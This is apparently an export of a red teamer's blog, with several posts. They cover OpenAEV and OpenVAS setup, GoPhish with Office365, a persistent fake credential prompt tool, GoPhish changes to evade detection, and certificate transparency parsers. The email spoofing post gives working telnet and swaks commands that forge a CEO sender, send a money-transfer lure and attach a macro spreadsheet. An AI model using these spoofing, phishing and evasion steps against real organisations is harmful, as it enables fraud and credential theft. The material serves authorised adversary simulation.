      - rsakeys:/keys:ro # RSA key mounted as read-only
    depends_on:
      rsa-key-generator:
        condition: service_healthy
      # opencti:
      #   condition: service_healthy
      rabbitmq:
        condition: service_healthy
    restart: always

  ###########################
  # OPENAEV                 #
  ###########################

  openaev:
    image: openaev/platform:2.0.9
    environment:
      - OPENAEV_BASE-URL=${OPENAEV_EXTERNAL_SCHEME}://${OPENAEV_HOST}:${OPENAEV_PORT}
      - OPENAEV_AUTH-LOCAL-ENABLE=true
      - OPENAEV_ADMIN_EMAIL=${OPENAEV_ADMIN_EMAIL}
      - OPENAEV_ADMIN_PASSWORD=${OPENAEV_ADMIN_PASSWORD}
      - OPENAEV_ADMIN_TOKEN=${OPENAEV_ADMIN_TOKEN}
      - OPENAEV_HEALTHCHECK_KEY=${OPENAEV_HEALTHCHECK_KEY:-ChangeMe}
      - OPENAEV_EXTRA-TRUSTED-CERTS-DIR=/opt/openaev/additional_certs
      - SPRING_DATASOURCE_URL=jdbc:postgresql://pgsql:5432/openaev
      - SPRING_DATASOURCE_USERNAME=${POSTGRES_USER}
      - SPRING_DATASOURCE_PASSWORD=${POSTGRES_PASSWORD}
      - MINIO_ENDPOINT=minio
      - MINIO_ACCESS-KEY=${MINIO_ROOT_USER}
      - MINIO_ACCESS-SECRET=${MINIO_ROOT_PASSWORD}
      - OPENAEV_RABBITMQ_HOSTNAME=rabbitmq
      - OPENAEV_RABBITMQ_USER=${RABBITMQ_DEFAULT_USER}
      - OPENAEV_RABBITMQ_PASS=${RABBITMQ_DEFAULT_PASS}
      - ENGINE_URL=http://elasticsearch:9200
      - SPRING_MAIL_HOST=${SMTP_HOST}
      - SPRING_MAIL_PORT=${SMTP_PORT}
      - SPRING_MAIL_USERNAME=${SMTP_USERNAME}
      - SPRING_MAIL_PASSWORD=${SMTP_PASSWORD}
      - SPRING_MAIL_PROPERTIES_MAIL_SMTP_AUTH=${SMTP_AUTH}
      - SPRING_MAIL_PROPERTIES_MAIL_SMTP_SSL_ENABLE=${SMTP_SSL_ENABLE}
      - SPRING_MAIL_PROPERTIES_MAIL_SMTP_SSL_TRUST=*
      - SPRING_MAIL_PROPERTIES_MAIL_SMTP_STARTTLS_ENABLE=${SMTP_STARTTLS_ENABLE}
      - OPENAEV_MAIL_IMAP_ENABLED=${OPENAEV_MAIL_IMAP_ENABLED}
      - OPENAEV_MAIL_IMAP_HOST=${IMAP_HOST}
      - OPENAEV_MAIL_IMAP_PORT=${IMAP_PORT}
      - OPENAEV_MAIL_IMAP_USERNAME=${IMAP_USERNAME}
      - OPENAEV_MAIL_IMAP_PASSWORD=${IMAP_PASSWORD}
      - OPENAEV_MAIL_IMAP_AUTH=${IMAP_AUTH}
      - OPENAEV_MAIL_IMAP_SSL_ENABLE=${IMAP_SSL_ENABLE}
      - OPENAEV_MAIL_IMAP_SSL_TRUST=*
      - OPENAEV_MAIL_IMAP_STARTTLS_ENABLE=${IMAP_STARTTLS_ENABLE}
    ports:
      - "${OPENAEV_PORT}:8080"
    depends_on:
      pgsql:
        condition: service_healthy
      minio:
        condition: service_healthy
      rabbitmq:
        condition: service_healthy
      elasticsearch:
        condition: service_healthy
    restart: always
    healthcheck:
      test: [ "CMD", "wget", "-qO-", "http://openaev:8080/api/health?health_access_key=${OPENAEV_HEALTHCHECK_KEY}" ]
      interval: 10s
      timeout: 5s
      retries: 20

  ###########################
  # OPENAEV COLLECTORS      #
  ###########################

  collector-mitre-attack:
    image: openaev/collector-mitre-attack:2.0.9
    environment:
      - OPENAEV_URL=http://openaev:8080
      - OPENAEV_TOKEN=${OPENAEV_ADMIN_TOKEN}
      - COLLECTOR_ID=${COLLECTOR_MITRE_ATTACK_ID} # Valid UUIDv4
      - "COLLECTOR_NAME=MITRE ATT&CK"
      - COLLECTOR_LOG_LEVEL=info
    depends_on:
      openaev:
        condition: service_healthy
    restart: always
  collector-openaev:
    image: openaev/collector-openaev:2.0.9
    environment:
      - OPENAEV_URL=http://openaev:8080
      - OPENAEV_TOKEN=${OPENAEV_ADMIN_TOKEN}
      - COLLECTOR_ID=${COLLECTOR_OPENAEV_ID} # Valid UUIDv4
      - "COLLECTOR_NAME=OpenAEV Datasets"
      - COLLECTOR_LOG_LEVEL=info
    depends_on:
      openaev:
        condition: service_healthy
    restart: always
  collector-atomic-red-team:
    image: openaev/collector-atomic-red-team:2.0.9
    environment:
      - OPENAEV_URL=http://openaev:8080
      - OPENAEV_TOKEN=${OPENAEV_ADMIN_TOKEN}
      - COLLECTOR_ID=${COLLECTOR_ATOMIC_RED_TEAM_ID} # Valid UUIDv4
      - "COLLECTOR_NAME=Atomic Red Team"
      - COLLECTOR_LOG_LEVEL=info
    depends_on:
      openaev:
        condition: service_healthy
    restart: always
  collector-nvd-nist-cve:
    image: openaev/collector-nvd-nist-cve:2.0.9
    environment:
      - OPENAEV_URL=http://openaev:8080
      - OPENAEV_TOKEN=${OPENAEV_ADMIN_TOKEN}
      - COLLECTOR_ID=${COLLECTOR_NVD_NIST_CVE_ID} # Valid UUIDv4
      - NVD_NIST_CVE_API_KEY=${COLLECTOR_NVD_NIST_CVE_API_KEY}
      - "COLLECTOR_NAME=CVE by NVD NIST"
      - COLLECTOR_LOG_LEVEL=info
    depends_on:
      openaev:
        condition: service_healthy
    restart: always

  ###########################
  # OPENAEV INJECTORS       #
  ###########################

  injector-nmap:
    image: openaev/injector-nmap:2.0.9
    environment:
      - OPENAEV_URL=http://openaev:8080
      - OPENAEV_TOKEN=${OPENAEV_ADMIN_TOKEN}
      - INJECTOR_ID=${INJECTOR_NMAP_ID} # Valid UUIDv4
      - INJECTOR_NAME=Nmap
      - INJECTOR_LOG_LEVEL=info
    depends_on:
      openaev:
        condition: service_healthy
    restart: always
  injector-nuclei:
    image: openaev/injector-nuclei:2.0.9
    environment:
      - OPENAEV_URL=http://openaev:8080
      - OPENAEV_TOKEN=${OPENAEV_ADMIN_TOKEN}
      - INJECTOR_ID=${INJECTOR_NUCLEI_ID} # Valid UUIDv4
      - INJECTOR_NAME=Nuclei
      - INJECTOR_LOG_LEVEL=info
    depends_on:
      openaev:
        condition: service_healthy
    restart: always
volumes:
  pgsqldata:
  s3data:
  amqpdata:
  esdata:
  rsakeys:

```

{% endcode %}

## Starting Docker

After making the changes, it is quite straightforward.

```
server@local:~/openAEV$ docker compose up -d  
[+] Running 14/14
 ✔ Network xtm_default                        Created         0.2s 
 ✔ Container xtm-rabbitmq-1                   Healthy         14.1s 
 ✔ Container xtm-pgsql-1                      Healthy         11.6s 
 ✔ Container xtm-rsa-key-generator-1          Healthy         11.6s 
 ✔ Container xtm-elasticsearch-1              Healthy         61.6s 
 ✔ Container xtm-minio-1                      Healthy         11.6s 
 ✔ Container xtm-xtm-composer-1               Started         14.5s 
 ✔ Container xtm-openaev-1                    Healthy         134.4s 
 ✔ Container xtm-collector-nvd-nist-cve-1     Started         136.2s 
 ✔ Container xtm-collector-atomic-red-team-1  Started         136.2s 
 ✔ Container xtm-collector-openaev-1          Started         135.8s 
 ✔ Container xtm-injector-nmap-1              Started         135.9s 
 ✔ Container xtm-injector-nuclei-1            Started         135.8s 
 ✔ Container xtm-collector-mitre-attack-1     Started         136.2s
```

Note: The repository comes with Caldera Docker files as well. Since this is a 101 guide, I am not covering how to get started with Caldera at this moment.

And there you have it. The openAEV is now up and running. You can visit the dashboard by going to <http://OPENAEV\\_HOST:OPENAEV\\_PORT> (both variables were set in the .env file)

<figure><img src="/files/ZRychJwJtVmloZxcppQi" alt=""><figcaption></figcaption></figure>


# Setting Up OPENVAS in KALI 2020.3

Dealing with openvas installation error in KALI 2020.3

### OLD way to install and configure OpenVAS

```
sudo apt install openvas -y
sudo openvas-setup
sudo openvas-feed-update
sudo openvas-start
```

### Error

```
command not found
```

### Update- New way to install OpenVAS

OpenVAS is changing the name to GVM (Greenbone Vulnerability Management).The new command **gvm** has replaced all **openvas** commands.

In Kali Rolling updated repository, we now should use gvm instead of openvas command

```
sudo apt install gvm -y
sudo gvm-setup
sudo gvm-feed-update
sudo gvm-start
```


# Page


# Page 1


# Connecting GoPhish with Office365

Operational challenges of setting of Office365 SMTP with GoPhish

### Enable SMTP

```
$UserCredential = Get-Credential 
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://outlook.office365.com/powershell-liveid/ -Credential $UserCredential -Authentication Basic -AllowRedirection 
Import-PSSession $Session -DisableNameChecking 
Take a look if it is True: Get-TransportConfig  (if there is True set to false) 
Set-TransportConfig -SmtpClientAuthenticationDisabled $false 
Take a look again if it works: Get-TransportConfig 
Remove-PSSession $Session 
```

Use the Administrator account (Generally the one which was used to create office365 account) to enable SMTP.  I have seen that newer accounts already have this setting enabled by **default.** If your account is not working try this out.

&#x20;UPDATE 01/02/2021&#x20;

If above doesn't work for you. Try the following code. Credits Jonathan Cheung&#x20;

```
Import-Module ExchangeOnlineManagement 
Connect-ExchangeOnline -UserPrincipalName abcd@blabla.com  -ShowProgress $true 
Set-TransportConfig -SmtpClientAuthenticationDisabled $false
```

### Add Connector

Go to [https://admin.exchange.microsoft.com/#/homepage ](https://admin.exchange.microsoft.com/#/homepage)and add a connector.&#x20;

![Add Connector to Exchange Admin](/files/-MNxZlF-l60jZBY6gtZl)

You will need to provide you GoPhish External IP to add this connector. The connector properties are From: Organization Mail Server , To: Office365, and then you need to add your External GoPhish IP

### Whitelist your External GoPhish IP

Go to exchange admin center ([https://admin.exchange.microsoft.com/#/homepage ](https://admin.exchange.microsoft.com/#/homepage)) and click on **Classic Exchange Admin** at the bottom of the side menu.

Click on Connection -> Protection Filter > Connection Filtering

Here you need to Whitelist your external Exchange IP&#x20;

![Whitelist your External GoPhish IP](/files/-MNxaJliD955WlRUkTNz)

You should be good to go now. Enter your creds inside Gophish and send a Test Email.

### Credit

[Vincent Yiu](https://twitter.com/vysecurity), [Jonathan Cheung](https://www.linkedin.com/in/jonathan-cheung-0a8208138/), [Jason Lang](https://twitter.com/curi0usjack)

### Connect with me

Twitter: <https://twitter.com/shantanukhande>


# SharpLoginPrompt - Success and a Curious Case

A tale of why SharpLoginPrompt Always Works and a recent curious case

So recently my team was performing a Red Team assessment. Its common in our team to innovate and use each other's tools. This drives the appreciation and growth inside the team. I developed SharpLoginPrompt long time ago to, but in this recent case it was not working as expected and this lead to a new update in SharpLoginPrompt.&#x20;

## History of Login Prompts?

In January 2015 Matt Nelson ([@enigma0x3](https://twitter.com/enigma0x3)) wrote a blog post about using PromptForCredential for displaying the Credential prompt. The thing worked wonders through the days where Powershell was being used for offensive purposes. Once Microsoft added lots of logging capabilities, we saw a sharp rise in the use of C# and Matt Hand (@matterpreter) wrote CredPhiser and pushed it inside his OffensiveCSharp tool list.

## &#x20; So Why SharpLoginPrompt ?

Both Invoke-LoginPrompt from @enigma0x3 and CredPhisher have one basic problem. The problem is whenever we try to Phish someone with Login Prompts the first instinct of the victim user is to hide it or put in background while they continue their work till the end of day. Now while, this is a very good feature, as a Red Teamer, we dont have all day to wait for the victim to put in their credentials. So the way out was only to make it persist on the screen until the user fills out the right credentials.

## Introducing SharpLoginPrompt&#x20;

SharpLoginPrompt is a code adapted from both CredPhisher and Invoke-LoginPrompt but with a Twist. The Twist is that the **prompt never dies or go behind the any application until the correct credentials are provided.** Following is a gif for the demonstration.&#x20;

![SharpLoginPrompt Always on TOP](/files/-MOgTk0QF3CdYzksVuD6)

This allowed us to gather the credentials from the user as quickly as we want without waiting all day.

## [Download SharpLoginPrompt](https://github.com/shantanu561993/SharpLoginPrompt/releases/tag/0.3)

You can download the binary from [**here**](https://github.com/shantanu561993/SharpLoginPrompt/releases/tag/0.3) or you can compile yourself using the [**source code**](https://github.com/shantanu561993/SharpLoginPrompt)&#x20;

## Next Steps in Credential Phishing

My organization has a lot of talented and distinguished people from the industry and one of them is Arris. Arris has already taken this forward more more step in his [fakelogonscreen](https://github.com/bitsadmin/fakelogonscreen) project.&#x20;

## Credits

As always my coworkers and my family. Special Thanks to Jonathan Cheung and Vincent Yiu&#x20;

## &#x20;


# Gophish MODs

Modify Gophish to Bypass Detection

Was recently working on a Phishing Engagement. I always modified Gophish manually to evade detection. This time I thought of the principle, "Don't Do Anything Twice: When it Makes Sense to Automate" . Before I started manually typing scripts I searched github.com for gold (basically if someone else tried to do it). I found this amazing docker-compose file which does all of the things which I wanted to do.

So I'm stealing work? Probably yeah !! I dont want docker so I'll probably just extract useful content from the docker-container file and run it on my gophish server 🤷‍♂️

```
#clone gophish
git clone https://github.com/gophish/gophish

#Get a Custom 404 Page
wget "https://raw.githubusercontent.com/puzzlepeaches/sneaky_gophish/main/files/404.html" -O "404.html"

#Get a Custom  Phish.go
wget "https://raw.githubusercontent.com/puzzlepeaches/sneaky_gophish/main/files/phish.go" -O "phish.go"

#copy Custom Phish.go
rm gophish/controllers/phish.go
mv phish.go gophish/controllers/phish.go

#Copy new 404.html
mv 404.html gophish/templates/404.html

cd gophish

sed -i 's/X-Gophish-Contact/X-Contact/g' models/email_request_test.go
sed -i 's/X-Gophish-Contact/X-Contact/g' models/maillog.go
sed -i 's/X-Gophish-Contact/X-Contact/g' models/maillog_test.go
sed -i 's/X-Gophish-Contact/X-Contact/g' models/email_request.go

# Stripping X-Gophish-Signature
sed -i 's/X-Gophish-Signature/X-Signature/g' webhook/webhook.go

# Changing servername
sed -i 's/const ServerName = "gophish"/const ServerName = "IGNORE"/' config/config.go

# Changing rid value
read -p 'Custom RID Parameter: ' uservar
sed -i 's/const RecipientParameter = "rid"/const RecipientParameter = "'$uservar'"/g' models/campaign.go



go build
```

### Acknowledgements&#x20;

<https://twitter.com/sprocket_ed> for his amazing [sneaky\_gophish ](https://github.com/puzzlepeaches/sneaky_gophish)repository&#x20;

[Vincent Yiu](https://twitter.com/vysecurity/) for his support and guidance always


# Long Live DMARC - Email Spoof issues

Spoof emails when SPF is present but DMARC is not allowing you to spoof the sender

![Email Spoof Attack Components](/files/wU435zTm67gl7QSJYpiy)

Recently, during my research, I came across an organization that was using O365 for emails. While, during the initial recon, I skipped over the fact that they didn't have a DMARC, it clicked me when I was reading over my notes.&#x20;

**Background Info:**

Email Provider : O365

SPF: Exists (v=spf1 ip4:192.168.0.0/24 -all)

DMARC: Do not exist

If you don't like nslookup commands, you can check this on MXtoolbox as well&#x20;

![DMARC of the domain doesn't exist](/files/DB3L8Z9DLXfnlgaiFI1J)

**TIP**: If it exists check if p=None is set. p=none means DMARC policy of reject or quarantine isn't enforced&#x20;

**Technical Background**

An email consists of two parts an SMTP envelope and Message data. Below is a pictorial representation&#x20;

![Breakdown of two parts of an email](/files/eV4vD41mgUrCgJwjS9W2)

SPF verifies HELO/EHLO&#x20;

DKIM: Verify the DKIM-signature of the sender&#x20;

DMARC: checks alignment between 'From' and 'Mail From'

![SPF and DKIM verification fields](/files/PrZcbjTvvRFEhSTDRdcJ)

<mark style="background-color:yellow;">In Conclusion, if DMARC isn't present, there is no way to verify the alignment between the 'MAIL FROM' and 'FROM' fields. If the receiving user only sees 'FROM' then an attacker is free to forge anything. Simply put, an attacker can put any email address he likes in the 'FROM' field and the receiving user will see that the email is coming from the forged 'FROM' address.</mark>

**Current Exploitation Methods:**

Quick guides I found on exploiting DMARC not present issue also known as "SPF-BYPASS" are as follows

<https://github.com/Rices/spf-bypass>

<https://o365info.com/how-to-simulate-spoof-e-mail-attack-and-bypass-spf-sender-verification-part2-of-2/>&#x20;

**Info Extract from above methods**&#x20;

**Info Extract from the above methods**&#x20;

So to spoof following actions must be performed&#x20;

Step 1: Buy a domain or configure a subdomain (I'll be using a subdomain: fook.redteam.cafe)

Step 2: Get a VPS that allows SMTP. I'm using DigitalOcean.&#x20;

Step 3: Set the right SPF record on the domain. Example v=spf1 mx a ip4:\<Digital OCEAN IP> -all

Step 4: connect via telnet to the target SMTP server. My target org used office365 so we'll telnet to orgname-com.mail.protection.outlook.com

```
telnet orgname-com.mail.protection.outlook.com 25
```

Step 5: Perform actions as below&#x20;

```
ehlo fook.redteam.cafe
MAIL FROM: attacker@fook.redteam.cafe
RCPT To: victim@orgname.com
data
from: "CEO ORG" <ceo@orgname.com>
to: <victim@orgname.com>
subject: transfer money urgently

Hey send me money at bank account 123456789

.


```

Enjoy the profit&#x20;

**Missing Automation** 🤷‍♂️

So all this is good and everything, but where the hell is automation. As a red teamer, I asked myself these questions

1. Where is automation? Do I send an email by telnet to all my victims? That's boring&#x20;
2. How do I send an HTML email?
3. How do I send an attachment with my email?

After looking at many telnet automation, I was frustrated. I decided to use SWAKS, the Swiss Army knife for emails.

&#x20;Instead of doing loads of telnet, manual encoding of messages, lets run this sweet command and be done

```
./swaks --ehlo fook.redteam.cafe --from attacker@mail.redteam.cafe --to victim@orgname.com --server orgname-com.mail.protection.outlook.com --h-From '"CEO  ORG" <ceo@orgname.com>' --attach-type text/html --attach-body @Mail-Template.html --attach macroexcel.xlsm --attach-type text/html
```

**Is this something new ?**

Probaby not, You must have heard about this 100 years ago.&#x20;

**How can I find more issues in the email delivery system?**

&#x20;Well, there is of course the manual way to `dig` for SPF, DMARC and DKIM. You can also just go to [caniphish.com ](https://caniphish.com)for a quicker way in.&#x20;

**Super Useful Research**

While doing some google-fu, I found two very useful projects to test mail delivery systems.&#x20;

MailSploit - <https://github.com/pwnsdx/Mailsploit>

espoofer - <https://github.com/chenjj/espoofer>

These projects will help you discover issues in mail delivery systems. You may even get a 0 day in your pocket 🤷‍♂️ if you choose the right target. Shhhhh

**References:**

Amazing Blackhat Talk&#x20;

<https://www.blackhat.com/us-20/briefings/schedule/#you-have-no-idea-who-sent-that-email--attacks-on-email-sender-authentication-19902>


# Error Solves (Random)


# Rust OPENSSL install issues

install openssl using choco install openssl&#x20;

set environment variables

```
set OPENSSL_DIR=%PROGRAMFILES%\OpenSSL-Win64
set OPENSSL_LIB_DIR=%PROGRAMFILES%\OpenSSL-Win64\lib\VC\x64\MD
```

ref : <https://github.com/sfackler/rust-openssl/issues/766>


# Mobile Application Testing


# How to Download APK from Huawei App Store

Downloading APK from Huawei App store (Google Play Store APK)

Sometimes while we are testing a mobile app, we require the APK from the Google Play Store. It just so happens that the app is sometimes also available on the Huawei App Gallery which is alternative to Google Play Store.&#x20;

If the app is available on Huawei App Gallery, you can directly download the APK. Follow the below steps.&#x20;

a. Find the app on the Huawei App Gallery <https://appgallery.huawei.com/>

b. The App URL will look like this <https://appgallery.huawei.com/app/C100130495>

c. Now make changes to the URL&#x20;

1. Change appgallery.huawei.com to appgallery.**cloud**.huawei.com . In short, add .**cloud.** in front of huawei.com .
2. change the /app/ to /app**dl**/ . In short, add **dl** after app

c. The URL should look like [https://appgaller&#x79;**.cloud.**&#x68;uawei.com/app**dl**/C100130495](https://appgallery.cloud.huawei.com/appdl/C100130495)

Done. Download the app&#x20;

Thanks some random XDAForum page I cant find now.&#x20;


# Talks Worth Checking Out

Important Talks

This page will list all the talks I like . I listen to a lot of conference talks and podcasts. This will serve as a repository to talks to which I either want to come back to or has a content which changed the way I look at adversary simulation.

![Building a Phishing Engagament ](/files/-MeSRZd6GEf024HF0tlB)

Youtube Link : <https://www.youtube.com/watch?v=VglCgoIjztE>


# Parsing Certificate Transparency Logs

Several years ago [Mr Ryan Sears](https://medium.com/@fitblip?source=post_page-----981716dc506--------------------------------) wrote a very good blog on Parsing Certificate Transparency Logs. The links are here&#x20;

1. <https://medium.com/cali-dog-security/parsing-certificate-transparency-lists-like-a-boss-981716dc506>
2. <https://medium.com/cali-dog-security/retrieving-storing-and-querying-250m-certificates-like-a-boss-31b1ce2dfcf8>

He also wrote a very handy tool called [Axeman ](https://github.com/calidog/axeman)which still works till date with some minor python version tweaks . Emphasizing on the word **WORKS.** The main thing is to get the correct version of python and the "construct" package to work together. The idea is to use a very slightly older version of python and more importantly the "construct" package which supports the "Embedded" keyword.

### The Itch

While I had Axeman running, I thought it should be like a line or two change to make it work with the latest version. The itch in me was taking over for no reason.

What could have been solved with a simple ignorance towards versions, led me to a path of immense pain and learning.&#x20;

I re-wrote the structs for parsing in python.&#x20;

So for all the readers , see the structs for parsing the CTL Merkle Tree below. It uses structs instead of construct. I find it more usable&#x20;

```python
import struct
from enum import Enum
from OpenSSL import crypto 


class LogEntryType(Enum):
        uninitialized = -1  # Not set
        X509LogEntryType = 0
        PrecertLogEntryType = 1
# MerkleTreeHeader = Struct(
#     "Version"         / Byte,
#     "MerkleLeafType"  / Byte,
#     "Timestamp"       / Int64ub,
#     "LogEntryType"    / Enum(Int16ub, X509LogEntryType=0, PrecertLogEntryType=1),
#     "Entry"           / GreedyBytes
# )
class MerkleTreeParser:
    Version = 0
    MerkleLeafType = 0
    Timestamp = 0
    LogEntryType = LogEntryType.uninitialized
    Entry = b''
    
    def __init__(self, data):
        FORMAT = f'>BBQH'
        unpacked = struct.unpack(FORMAT, data[:struct.calcsize(FORMAT)])
        self.Version = unpacked[0]
        self.MerkleLeafType = unpacked[1]
        self.Timestamp = unpacked[2]
        self.LogEntryType = LogEntryType(unpacked[3])
        self.Entry = data[struct.calcsize(FORMAT):]
    
    def __str__(self) -> str:
        return f"Version: {self.Version}, MerkleLeafType: {self.MerkleLeafType}, Timestamp: {self.Timestamp}, LogEntryType: {self.LogEntryType}, Entry: {self.Entry}"

# Certificate = Struct(
#     "Length" / Int24ub,
#     "CertData" / Bytes(this.Length)
# )
        
class Certificate:
    Length = 0
    CertData  = b''
    
    def __init__(self, data):
        if len(data) == 0:
            return
        FORMAT = f'>I'
        unpacked = struct.unpack(FORMAT, b'\x00' + data[:3])
        self.Length = unpacked[0]
        self.CertData = data[3:]
    
    def __str__(self) -> str:
        return f"Length: {self.Length}, CertData: {self.CertData}"    

# CertificateChain = Struct(
#     "ChainLength" / Int24ub,
#     "Chain" / GreedyRange(Certificate),
# )

class CertificateChain:
    ChainLength : int = 0
    Chain:list = []
    
    def __init__(self, data):
        if len(data) == 0:
            return
        FORMAT = f'>I'
        unpacked = struct.unpack(FORMAT, b'\x00' + data[:3])
        self.ChainLength = unpacked[0]
        data = data[3:]
        
        while len(data) > 0:
            length = struct.unpack(FORMAT, b'\x00' + data[:3])[0]
            cert_data = data[:3+length]
            cert = Certificate(cert_data)
            self.Chain.append(cert)
            data = data[3+length:]
    
    def __str__(self) -> str:
        return f"ChainLength: {self.ChainLength}, Chain: {self.Chain}"
    
# PreCertEntry = Struct(
#     "LeafCert" / Certificate,
#     Embedded(CertificateChain),
#     Terminated
# )
class PreCertEntry:
    LeafCert = Certificate(b'')
    Chain = CertificateChain(b'')
    
    def __init__(self, data):
        if len(data) == 0:
            return
        FORMAT = f'>I'
        leafcert_length = struct.unpack(FORMAT, b'\x00' + data[:3])[0]
        self.LeafCert = Certificate(data[:3+leafcert_length])
        data = data[3+leafcert_length:]
        self.Chain = CertificateChain(data)
    
    def __str__(self) -> str:
        return f"LeafCert: {self.LeafCert}, Chain: {self.Chain}"
```

I leave it to readers to reimplement Axeman to use these structs. Its not that difficult. But as I said earlier, AXEMAN Works, so this hardly makes any dent.

### The Itch Part II

It works in python and I should have left it there. There is no need for optimization.

I felt after running Axeman for a few hours and doing some secondary research the python as always just is SLOW and leaks memory. After like running the program for 15 hours, my computer was completely unusable. While writing this blog I realize it could have been anything on my computer, but guess what, I blame it to python.&#x20;

I started a journey to learn Rust and see how much better it is than python. Spent around a month understanding Rust and wrote my first program in it.&#x20;

See the details below for how to do same in rust.&#x20;

```rust
use base64::{prelude::BASE64_STANDARD, Engine};
use std::io::{Cursor, Read};
use byteorder::{BigEndian, ReadBytesExt};
pub mod utils;

#[repr(u8)]
#[derive(Debug,PartialEq)]
pub enum ELogEntryType {
    UnInitialized ,
    X509LogEntryType,
    PrecertLogEntryType,
}
//     # MerkleTreeHeader = Struct(
//     #     "Version"         / Byte,
//     #     "MerkleLeafType"  / Byte,
//     #     "Timestamp"       / Int64ub,
//     #     "LogEntryType"    / Enum(Int16ub, X509LogEntryType=0, PrecertLogEntryType=1),
//     #     "Entry"           / GreedyBytes
//     # )
pub struct MerkleTreeHeader {
    pub version: u8,
    pub merkle_leaf_type: u8,
    pub timestamp: u64,
    pub log_entry_type: ELogEntryType,
    pub entry: Vec<u8>,
}
impl MerkleTreeHeader {
    pub fn new(data:&Vec<u8>) -> MerkleTreeHeader {
        let mut header_bytes = Cursor::new(data);
        let version = header_bytes.read_u8().unwrap();
        let merkle_leaf_type = header_bytes.read_u8().unwrap();
        let timestamp = header_bytes.read_u64::<BigEndian>().unwrap();
        let log_entry_type = match header_bytes.read_u16::<BigEndian>().unwrap() {
            0 => ELogEntryType::X509LogEntryType,
            1 => ELogEntryType::PrecertLogEntryType,
            _ => ELogEntryType::UnInitialized,
        };
        let mut entry = Vec::new();
        header_bytes.read_to_end(&mut entry).unwrap();
        MerkleTreeHeader {
            version,
            merkle_leaf_type,
            timestamp,
            log_entry_type,
            entry,
        }
    }

    pub fn new_b64(data:&String) -> MerkleTreeHeader {
        let header_bytes = BASE64_STANDARD.decode(data).expect("Failed to decode Leaf Header Base64 data.");
        return Self::new(&header_bytes);
    }
    
    
}
// # Certificate = Struct(
//     #     "Length" / Int24ub,
//     #     "CertData" / Bytes(this.Length)
//     # )
pub struct Certificate{
    pub length: u32,
    pub cert_data: Vec<u8>,
}
impl Certificate {
    pub fn new(data:&Vec<u8>) -> Certificate {
        let mut certificate_bytes = Cursor::new(data);
        let length = certificate_bytes.read_u24::<BigEndian>().unwrap();
        let mut cert_data = Vec::new();
        certificate_bytes.read_to_end(&mut cert_data).unwrap();
        Certificate {
            length:length,
            cert_data:cert_data
        }
        
    }
}
// # CertificateChain = Struct(
//     #     "ChainLength" / Int24ub,
//     #     "Chain" / GreedyRange(Certificate),
//     # )
pub struct CertificateChain{
    chain_length:u32,
    chain:Vec<Certificate>
}
impl CertificateChain {
    pub fn new(data:&Vec<u8>)->CertificateChain{
        let mut cursor = Cursor::new(data);
        let chain_length : u32 = cursor.read_u24::<BigEndian>().unwrap();
        let mut chain : Vec<Certificate> = Vec::new(); 
        let cur_length = cursor.get_ref().len();
        while cursor.position() < cur_length as u64 {
            let cert_length = cursor.read_u24::<BigEndian>().unwrap();
            let mut cert_data : Vec<u8> = Vec::with_capacity(cert_length as usize);
            cert_data.resize(cert_length as usize, 0u8);
            cursor.read_exact(&mut cert_data).unwrap();
            let cert : Certificate = Certificate {
                length: cert_length,
                cert_data:cert_data,
            };
            chain.push(cert);
        }
        return CertificateChain{
            chain_length:chain_length,
            chain:chain
        }
       
    }
    pub fn new_b64(data:&String)->CertificateChain{
        let bytes  = BASE64_STANDARD.decode(data).expect("Unable to decode Certificate Chain");
        return Self::new(&bytes);
    }
    
}
// # PreCertEntry = Struct(
//     #     "LeafCert" / Certificate,
//     #     Embedded(CertificateChain),
//     #     Terminated
//     # )
pub struct PreCertEntry{
    leaf_cert:Certificate,
    chain:CertificateChain
} 
impl PreCertEntry {
    pub fn new(data:&Vec<u8>)->PreCertEntry{
        let mut cursor = Cursor::new(data);
        let leafcert_length = cursor.read_u24::<BigEndian>().unwrap();
        let mut cert_data:Vec<u8> = Vec::with_capacity(leafcert_length as usize);
        cert_data.resize(leafcert_length as usize, 0u8);
        cursor.read_exact(&mut cert_data).unwrap();
        let cert:Certificate = Certificate{length:leafcert_length,cert_data:cert_data};
        let mut chain_data:Vec<u8> = Vec::new();
        cursor.read_to_end(&mut chain_data).unwrap();
        let chain:CertificateChain = CertificateChain::new(&chain_data);
        return PreCertEntry{leaf_cert:cert,chain:chain};
    }
    pub fn new_b64(data:&String)->PreCertEntry{
        let bytes = BASE64_STANDARD.decode(&data).unwrap();
        return Self::new(&bytes);
    }
    
}
```

### Thanks&#x20;

I think this might be the most boring post. But its my journey to learn something new. So that is it.&#x20;

I might release my tool in future and its possible uses , but that's in future now.&#x20;


